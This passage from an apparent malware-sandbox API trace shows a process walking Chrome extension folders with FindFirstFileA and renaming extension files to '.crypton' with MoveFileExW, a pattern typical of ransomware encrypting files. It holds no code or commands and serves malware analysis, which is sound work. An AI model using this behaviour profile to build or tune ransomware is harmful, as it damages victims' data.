lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef0f5900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef0f5900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.773] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef11ba60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef11ba60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.781] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef11ba60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef11ba60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.788] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef141bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef141bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.796] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef141bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef141bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.803] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef167d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef167d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.809] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef167d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef167d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.816] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef18de80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef18de80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.821] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef18de80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef18de80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.827] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef18de80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef18de80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.832] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef1b3fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef1b3fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.839] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef1b3fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef1b3fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.845] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef1b3fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef1b3fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.855] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef1da140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef1da140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.863] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2002a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2002a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.876] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2002a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2002a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.883] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef226400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef226400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.888] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef226400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef226400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.895] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef24c560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef24c560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.903] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef24c560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef24c560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.908] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef24c560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef24c560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.913] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2726c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2726c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.918] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2726c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2726c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.923] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2726c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2726c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.928] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef298820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef298820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.932] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef298820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef298820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.937] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef298820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef298820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.942] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2be980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2be980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0190.947] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef2be980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef2be980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549990 [0190.952] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.crypton"), dwFlags=0x2) returned 1 [0190.958] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.crypton"), dwFlags=0x2) returned 1 [0190.972] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.crypton"), dwFlags=0x2) returned 1 [0190.975] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.crypton"), dwFlags=0x2) returned 1 [0190.980] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef30ac40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef30ac40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.986] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xef330da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xef330da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.991] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 